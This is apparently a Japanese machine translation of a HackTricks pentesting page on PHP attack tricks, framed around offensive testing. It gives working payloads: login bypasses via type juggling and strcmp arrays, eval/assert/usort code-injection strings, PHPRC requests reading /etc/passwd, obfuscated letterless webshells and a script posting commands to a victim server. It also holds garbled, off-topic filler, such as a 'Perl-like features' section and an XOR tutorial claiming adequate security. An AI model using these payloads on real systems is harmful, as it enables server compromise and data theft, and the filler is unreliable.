.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHPのトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
クッキーの一般的な場所:
これはphpMyAdminのクッキーにも適用されます。
クッキー:
PHPSESSID
phpMyAdmin
場所:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
PHP比較のバイパス
緩い比較/型変換(==)
PHPで==
が使用されると、比較が予期しない動作をする場合があります。これは、"=="は値を同じ型に変換してから比較するためです。比較するデータの型も同じであることを確認したい場合は、===
を使用する必要があります。
PHPの比較テーブル:https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
数字で始まらない文字列は、数値と等しいとみなされます。"0xAAAA" == "43690" -> True
10進数または16進数の形式で構成された文字列は、同じ数値/文字列と比較してTrueとなります(文字列内の数値は数値として解釈されます)。"0e3264578" == 0 --> True
"0e"で始まり、その後に何かが続く文字列は、0と等しいとみなされます。"0X3264578" == 0X --> True
"0"で始まり、その後に任意の文字(Xは任意の文字)が続き、その後に何かが続く文字列は、0と等しいとみなされます。"0e12334" == "0" --> True
これは非常に興味深いです。なぜなら、いくつかの場合には、文字列の入力とハッシュ化されたコンテンツを提供することができるため、"0"で始まり、任意の文字がないハッシュを作成する値を提供することができるからです。したがって、比較をバイパスすることができます。この形式の既にハッシュ化された文字列は、ここで見つけることができます:https://github.com/spaze/hashes"X" == 0 --> True
文字列内の任意の文字は、整数0と等しいです。
詳細はこちら:https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
型変換は、デフォルトではin_array()
関数にも影響を与えます(厳密な比較を行うには、3番目の引数をtrueに設定する必要があります)。
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
この関数が認証チェック(パスワードのチェックなど)に使用されている場合、ユーザーが比較の一方を制御している場合、パスワードの値として空の配列を送信することができます(https://example.com/login.php/?username=admin&password[]=
)。これにより、このチェックをバイパスすることができます。
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
strcasecmp()
でも同じエラーが発生します。
厳密な型変換
===
が使用されている場合でも、型変換によって比較が脆弱になる可能性があります。例えば、比較がデータを比較する前に異なる型のオブジェクトに変換している場合があります。
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
**preg_match()
**は、ユーザーの入力を検証するために使用できます(ユーザーの入力にブラックリストの単語/正規表現が含まれているかどうかをチェックし、含まれていない場合、コードは実行を続けることができます)。
改行バイパス
ただし、正規表現の開始を区切る場合、preg_match()
はユーザーの入力の最初の行のみをチェックします。そのため、何らかの方法で入力を複数行で送信できる場合、このチェックをバイパスすることができます。例:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
このチェックをバイパスするためには、値を改行をURLエンコードした形式(%0A
)で送信するか、JSONデータを送信する場合は複数行に分けて送信することができます。
{
"cmd": "cat /etc/passwd"
}
以下は例です:https://ramadistra.dev/fbctf-2019-rceservice
長さエラーバイパス
(このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15ではうまく動作しなかったようです)
preg_match()
に有効な非常に大きな入力を送信すると、それを処理できなくなり、チェックをバイパスすることができます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
PHPの難読化のための型ジャグリング
Type juggling is a technique used in PHP to obfuscate code and make it harder to understand. It involves manipulating the data types of variables in order to perform unexpected operations.
型ジャグリングは、PHPでコードを難読化し、理解を困難にするための技術です。これは、変数のデータ型を操作して予期しない操作を行うことを含みます。
In PHP, variables do not have strict data types, which means that a variable can be treated as a different type depending on the context in which it is used. This allows for some interesting and potentially dangerous behavior.
PHPでは、変数には厳密なデータ型がないため、変数は使用されるコンテキストに応じて異なる型として扱われることがあります。これにより、興味深いかつ潜在的に危険な動作が可能となります。
One common use of type juggling is in string comparison. PHP uses loose comparison operators, such as ==
and !=
, which can result in unexpected behavior when comparing strings with different data types.
型ジャグリングの一般的な使用例は、文字列の比較です。PHPでは、==
や!=
などの緩い比較演算子が使用されますが、これにより、異なるデータ型の文字列を比較する際に予期しない動作が発生することがあります。
For example, consider the following code:
例えば、以下のコードを考えてみましょう:
$var1 = "123";
$var2 = 123;
if ($var1 == $var2) {
echo "Equal";
} else {
echo "Not equal";
}
In this case, the output will be "Equal", even though $var1
is a string and $var2
is an integer. This is because PHP will perform type juggling and convert the string to an integer before comparing them.
この場合、出力は「Equal」となります。つまり、$var1
は文字列であり、$var2
は整数ですが、PHPは型ジャグリングを行い、文字列を整数に変換してから比較を行います。
Type juggling can also be used in other ways to obfuscate code and bypass certain security checks. It is important for developers and security professionals to be aware of this technique in order to write secure code and detect potential vulnerabilities.
型ジャグリングは、コードを難読化し、特定のセキュリティチェックをバイパスするために他の方法でも使用することができます。開発者やセキュリティ専門家は、安全なコードを書き、潜在的な脆弱性を検出するために、この技術について認識していることが重要です。
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
リダイレクト後に実行する(EAR)
PHPが別のページにリダイレクトする場合、**die
関数またはexit
関数がLocation
**ヘッダが設定された後に呼び出されない場合、PHPは実行を続けてデータを本文に追加します。
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
さらなるトリック
- register_globals: PHP < 4.1.1.1 または設定が誤っている場合、register_globals が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$_GET)に値がある場合、$param を介してアクセスできることを意味します。したがって、HTTPパラメータを送信することで、コード内で使用される変数を上書きすることができます。
- 同じドメインの PHPSESSIONクッキーは同じ場所に保存されます。したがって、ドメイン内で異なるパスで異なるクッキーが使用されている場合、あるパスが他のパスのクッキーにアクセスするようにすることができます。これにより、両方のパスが同じ名前の変数にアクセスする場合、path1の変数の値をpath2に適用することができます。そして、path2はpath1の変数を有効として受け入れます(path2で対応する名前のクッキーを与えることで)。
- マシンのユーザーの ユーザー名 を持っている場合、アドレスをチェックしてください:/~<USERNAME> これにより、phpディレクトリがアクティブになっているかどうかを確認できます。
- phpラッパーを使用したLFIとRCE
password_hash/password_verify
これらの関数は、通常、PHPでパスワードからハッシュを生成し、ハッシュと比較してパスワードが正しいかどうかをチェックするために使用されます。
サポートされているアルゴリズムは、PASSWORD_DEFAULT
と PASSWORD_BCRYPT
($2y$
で始まる)です。注意点として、PASSWORD_DEFAULT は通常 PASSWORD_BCRYPT と同じです。そして現在、PASSWORD_BCRYPT には入力のサイズ制限があり、72バイトを超えるものをこのアルゴリズムでハッシュしようとすると、最初の72バイトのみが使用されます。
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTPヘッダーのバイパスによるPHPエラーの乱用
もしPHPのページがエラーを表示し、ユーザーが提供した入力をエコーしている場合、ユーザーはPHPサーバーに対して十分な長さのコンテンツを返すことができます。そのため、レスポンスにヘッダーを追加しようとすると、サーバーはエラーをスローします。
以下のシナリオでは、攻撃者がサーバーに大きなエラーを発生させました。スクリーンショットで見るように、PHPがヘッダー情報を変更しようとしたときにできなかったため、ユーザーにCSPヘッダーが送信されませんでした。
コードの実行
system("ls");
`ls`;
shell_exec("ls");
preg_replace()を使用したRCE
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
「replace」引数のコードを実行するには、少なくとも1つの一致が必要です。
このpreg_replaceのオプションは、PHP 5.5.0以降では非推奨となっています。
Eval()を介したRCE(リモートコード実行)
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
Assert()を使用したRCE
このphpの関数は、文字列で書かれたコードを実行して、trueまたはfalseを返すことができます(これに基づいて実行を変更します)。通常、ユーザー変数は文字列の中に挿入されます。例えば:
assert("strpos($_GET['page']),'..') === false")
--> この場合、RCEを実現するためには、次のようにします:
?page=a','NeVeR') === false and system('ls') and strpos('a
コードの構文を破壊し、ペイロードを追加してから、再び修正する必要があります。論理演算子(例:「and」または「%26%26」または「|」)を使用することができます。ただし、「or」や「||」は機能しないため、最初の条件が真である場合、ペイロードは実行されません。同様に、";"もペイロードが実行されないため機能しません。
もう一つのオプションは、コマンドの実行を文字列に追加することです:'.highlight_file('.passwd').'
もう一つのオプション(内部コードを持っている場合)は、実行を変更するためにいくつかの変数を修正することです:$file = "hola"
usort()を使用したRCE
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。
この関数を悪用するには、以下の手順を実行します:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
**//**を使用して、コードの残り部分にコメントを追加することもできます。
閉じる必要があるかっこの数を見つけるためには:
?order=id;}//
:エラーメッセージが表示されます(Parse error: syntax error, unexpected ';'
)。おそらく、1つ以上の括弧が不足しています。?order=id);}//
:警告が表示されます。これは正しいようです。?order=id));}//
:エラーメッセージが表示されます(Parse error: syntax error, unexpected ')' i
)。おそらく閉じる括弧が多すぎます。
.httaccessを介したRCE
.htaccessをアップロードできる場合、さまざまな設定を行ったり、コードを実行したりすることができます(拡張子が.htaccessのファイルが実行されるように設定することができます)。
異なる.htaccessシェルはここで見つけることができます。
Env変数を介したRCE
PHPでenv変数を変更する脆弱性を見つけた場合(およびファイルをアップロードするための別の脆弱性がある場合、さらなる調査でこれをバイパスできるかもしれません)、この動作を悪用してRCEを取得することができます。
LD_PRELOAD
:この環境変数は、他のバイナリを実行する際に任意のライブラリをロードすることを可能にします(ただし、この場合は機能しないかもしれません)。PHPRC
:PHPに設定ファイルであるphp.iniの場所を指示します。独自の設定ファイルをアップロードできる場合は、PHPRC
を使用してPHPに指定します。auto_prepend_file
エントリを追加し、2番目にアップロードしたファイルを指定します。この2番目のファイルには通常のPHPコードが含まれており、PHPランタイムによって他のコードの実行の前に実行されます。
- シェルコードを含むPHPファイルをアップロードします。
- 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルを実行するように指示する**
auto_prepend_file
**ディレクティブを含めます。 PHPRC
変数を2番目にアップロードしたファイルに設定します。
- このチェーンを実行する方法の詳細については、元のレポートを参照してください。
- PHPRC - 別のオプション
- ファイルをアップロードできない場合、FreeBSDでは「ファイル」
/dev/fd/0
を使用できます。これにはリクエストの**stdin
のボディ**が含まれています。 curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- または、RCEを取得するために**
allow_url_include
**を有効にし、ベース64のPHPコードを含むファイルを先頭に追加します。 curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- テクニックはこのレポートからです。
PHP静的解析
これらの関数の呼び出しにコードを挿入できるかどうかを確認してください(ここから)。
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
PHPアプリケーションのデバッグ中に、/etc/php5/apache2/php.ini
にdisplay_errors = On
を追加してApacheを再起動することで、エラーの表示をグローバルに有効にすることができます:sudo systemctl restart apache2
PHPコードの復号化
PHPコードを復号化するために、www.unphp.netのウェブサイトを使用することができます。
PHPラッパーとプロトコル
PHPラッパーとプロトコルを使用すると、システム内の書き込みと読み取りの保護をバイパスして侵害することができます。詳細については、このページを参照してください。
Xdebugの未認証RCE
phpconfig()
の出力でXdebugが有効になっている場合は、https://github.com/nqxcode/xdebug-exploitを使用してRCEを取得する必要があります。
変数変数
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCEを悪用した新しい$_GET["a"]($_GET["b"])の乱用
もしページで任意のクラスの新しいオブジェクトを作成することができる場合、RCEを取得することができるかもしれません。詳細については、以下のページを参照してください:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
文字なしでPHPを実行する
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
八進数を使用
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
XOR(排他的論理和)は、2つのビットの値を比較するための論理演算子です。XOR演算子は、2つのビットが異なる場合に1を返し、同じ場合には0を返します。
XORは、暗号化やデータの整合性チェックなど、さまざまなセキュリティ関連のアプリケーションで使用されます。また、XORを使用してデータを変換することで、特定のパターンを見つけるための解析や、データの隠蔽なども行うことができます。
XORは、PHPで簡単に実装することができます。以下に、PHPでXORを使用して文字列を暗号化する例を示します。
function xor_encrypt($string, $key) {
$result = '';
for($i = 0; $i < strlen($string); $i++) {
$result .= $string[$i] ^ $key[$i % strlen($key)];
}
return $result;
}
$string = 'Hello, World!';
$key = 'secretkey';
$encrypted = xor_encrypt($string, $key);
echo 'Encrypted: ' . $encrypted . "\n";
$decrypted = xor_encrypt($encrypted, $key);
echo 'Decrypted: ' . $decrypted . "\n";
この例では、xor_encrypt
関数を使用して文字列を暗号化し、復号化しています。$string
変数には暗号化する文字列、$key
変数には暗号化に使用するキーを指定します。
XOR演算子を使用することで、文字列を暗号化することができます。暗号化された文字列は、復号化に使用する同じキーを使用して元の文字列に戻すことができます。
XORは、単純な暗号化手法ですが、適切なキーを使用することで十分なセキュリティを提供することができます。ただし、キーの管理には注意が必要です。
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR簡単なシェルコード
この解説によると、次のように簡単なシェルコードを生成することができます:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
したがって、数字や文字を使用せずに任意のPHPコードを実行することができれば、次のようなリクエストを送信することで、そのペイロードを悪用して任意のPHPコードを実行することができます。
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
より詳しい説明については、https://ctf-wiki.org/web/php/php/#preg_matchを参照してください。
XORシェルコード(eval内部)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perlのような機能
このセクションでは、Perlのような機能を使用してPHPコードを改善する方法について説明します。
正規表現
Perlのような正規表現を使用すると、パターンマッチングや文字列操作をより柔軟に行うことができます。以下は、Perlスタイルの正規表現を使用した例です。
// パターンマッチング
if (preg_match('/\bword\b/i', $string)) {
// マッチした場合の処理
}
// 文字列の置換
$newString = preg_replace('/\bword\b/i', 'replacement', $string);
ワンライナー
Perlのようなワンライナーを使用すると、コマンドラインで簡単なタスクを実行できます。以下は、Perlスタイルのワンライナーの例です。
# ファイル内の文字列を置換
perl -pi -e 's/old/new/g' file.txt
# ファイル内の行数をカウント
perl -ne 'END { print $. }' file.txt
ショートカット演算子
Perlのようなショートカット演算子を使用すると、簡潔なコードを書くことができます。以下は、Perlスタイルのショートカット演算子の例です。
// 条件が真の場合に変数に値を代入
$var = $condition ? 'value1' : 'value2';
// 変数がnullでない場合に関数を呼び出す
$result = $var ?? someFunction();
これらのPerlのような機能を使用することで、PHPコードの効率性と柔軟性を向上させることができます。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。